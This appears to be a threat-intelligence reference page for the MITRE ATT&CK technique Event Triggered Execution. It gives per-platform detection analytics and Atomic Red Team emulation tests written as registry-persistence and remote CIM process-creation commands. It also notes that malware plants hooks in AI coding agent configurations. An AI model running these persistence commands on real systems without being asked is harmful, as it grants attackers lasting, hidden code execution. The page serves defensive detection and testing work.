Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.[1][2][3]
1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Involves managing events on victim systems via libevent to execute a callback function when any running process contains the following references in their path without also having a reference to bioset: busybox, wget, curl, tftp, telnetd, or lua. If the bioset string is not found, the related process is terminated.1
All 1 campaigns for this technique
4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has modified settings and configuration files of AI coding agents and other coding applications in order to create event triggered executions through creating hooks and runOn conditions.1
Creates a .pth file beginning with the text import so that any time another process or script attempts to reference the modified item the malicious code will also run.1
Can set up S3 bucket notifications to trigger a malicious Lambda function when a CloudFormation template is uploaded to the bucket. It can also create Lambda functions that trigger upon the creation of users, roles, and groups.1
XCSSET's dfhsebxzod module searches for .xcodeproj directories within the user’s home folder and subdirectories. For each match, it locates the corresponding project.pbxproj file and embeds an encoded payload into a build rule, target configuration, or project setting. The payload is later executed during the build process.12
All 4 software entries for this technique
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
MITRE names one behaviour worth catching for this technique and breaks it into 6 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
AN0024 · Windows
Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Scheduled Job CreationDC0001 | WinEventLog:Security | EventCode=4698 |
| WMI CreationDC0008 | WinEventLog:WMI | Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer |
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Security | EventCode=4657 |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| UserContext | Filters triggering on SYSTEM or LOCAL SERVICE vs. user-initiated triggers |
| TimeWindow | Correlates trigger definition and execution timing (e.g., within 5 minutes) |
| PathAnomalyThreshold | Process or binary path deviation scoring for execution anomalies |
AN0025 · Linux
Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Scheduled Job CreationDC0001 | linux:syslog | Execution of non-standard script or binary by cron |
| File MetadataDC0059 | auditd:SYSCALL | Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/ |
| Command ExecutionDC0064 | auditd:SYSCALL | Execution of script interpreters by systemd timer (ExecStart) |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ExecutablePathRegex | Regex defining suspicious binary/script paths triggered by cron/systemd |
| WatchTargetPaths | Paths monitored by auditd/inotify for suspicious event registration |
AN0026 · macOS
Correlates launchd plist modifications with subsequent unauthorized script execution or anomalous parent-child process trees involving user agents.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | Execution of launchctl with suspicious arguments |
| File ModificationDC0061 | macos:unifiedlog | Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PlistNamePattern | Regex pattern matching known rogue or unrecognized launchd plist names |
| ParentProcessBaseline | Expected parent-child relationships during plist-triggered execution |
AN0027 · IaaS
Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | AWS:CloudTrail | InvokeFunction |
| Cloud Service ModificationDC0069 | AWS:CloudTrail | CreateFunction |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TriggerEventType | Specific cloud event (e.g., PutObject, CreateRole) that causes function invocation |
| ServiceAccountRole | Expected permissions for roles used in function execution |
AN0028 · SaaS
Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | m365:unified | Automated forwarding or file sync initiated by a logic app |
| Cloud Service ModificationDC0069 | m365:unified | Creation of Power Automate flow triggered by OneDrive or Exchange event |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TriggerCondition | Event types that initiate SaaS automation (e.g., file add, new email) |
| AppIdentityScope | Scopes/permissions granted to automation app accounts |
AN0029 · Office Suite
Detects macros or VBA triggers set to execute on document open or close events, often correlating with embedded payloads or C2 traffic shortly after execution.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Script ExecutionDC0029 | m365:office | VBA auto_open, auto_close, or document_open events |
| Network Traffic ContentDC0085 | m365:office | External HTTP/DNS connection from Office binary shortly after macro trigger |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| MacroFunctionNames | Names of event-bound functions like Auto_Open that initiate execution |
| TimeDeltaMacroToC2 | Time threshold to correlate macro execution with outbound connections |
Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Perform regular software updates to mitigate exploitation risk.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Persistence with Custom AutodialDLL | windows | PowerShell | Required | 1 | Yes | ||||||||||||||||||||||
The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing. Blog Attack command Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll Cleanup command Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll Prerequisite AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll Check if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll" GUID968fd599-aed6-43f4-b239-444470ae8569 | ||||||||||||||||||||||||||||
| 02 | HKLM - Persistence using CommandProcessor AutoRun key (With Elevation) | windows | PowerShell | Required | — | Yes | ||||||||||||||||||||||
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference Input arguments
Attack command New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"Cleanup command Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore GUID0d7ae938-6ee8-4c19-9121-941e44a89ef0 | ||||||||||||||||||||||||||||
| 03 | HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation) | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference Input arguments
Attack command $path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"Cleanup command Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore GUID1422ffe7-b8c4-49c4-9631-1626c8b27d06 | ||||||||||||||||||||||||||||
| 04 | WMI Invoke-CimMethod Start Process | windows | PowerShell | Required | — | — | ||||||||||||||||||||||
The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process. Input arguments
Attack command # Set the remote computer name and credentials
$RemoteComputer = "#{dest}"
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "#{process}"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession
GUID10b5e356-155c-4114-93d8-7ca4dbd786fb | ||||||||||||||||||||||||||||
| 05 | Adding custom debugger for Windows Error Reporting | windows | cmd | Required | — | Yes | ||||||||||||||||||||||
When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework Attack command reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f Cleanup command reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f GUID93bbf2ee-4032-4edc-9d2a-22c08e0cc545 | ||||||||||||||||||||||||||||
| 06 | Load custom DLL on mstsc execution | windows | cmd | Required | — | Yes | ||||||||||||||||||||||
Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe Input arguments
Attack command reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "#{dll_inf}" /f
Cleanup command reg delete "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /f GUIDaa1146fe-7863-4075-bbe3-f82b5195c330 | ||||||||||||||||||||||||||||
| 07 | Persistence using automatic execution of custom DLL during RDP session | windows | cmd | Required | — | Yes | ||||||||||||||||||||||
When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary. Attack command reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f Cleanup command reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /f GUIDab210592-60ad-42c6-bdd7-ed8bd7211b45 | ||||||||||||||||||||||||||||
| 08 | Persistence via ErrorHandler.cmd script execution | windows | PowerShell | Required | 1 | Yes | ||||||||||||||||||||||
Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory. Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad. Attack command Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd C:\windows\System32\oobe\Setup Cleanup command Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd Prerequisite ErrorHandler.cmd script must exist on disk at specified at PathToAtomicsFolder\T1546\bin\ErrorHandler.cmd Check if (Test-Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd) { exit 0} else { exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\T1546\src\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/src/ErrorHandler.cmd" -OutFile "PathToAtomicsFolder\T1546\src\ErrorHandler.cmd" GUIDa528de9a-abe8-4044-a9fa-2e9459841d7d | ||||||||||||||||||||||||||||
| 09 | Persistence using STARTUP-PATH in MS-WORD | windows | cmd | Required | — | Yes | ||||||||||||||||||||||
When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists, it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx The registry key can be abused to load malware from the mentioned path. Reboot might be required. Attack command reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f Cleanup command reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f GUIDc3025f5d-d321-4baa-a949-ab110a0e9608 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition
15 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.
Loading detections...
| Select | Title | Description | Category | Status | Event | Product | MITRE ATT&CK | CVEs | Severity | Author | Created | Updated | ID | Refs |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|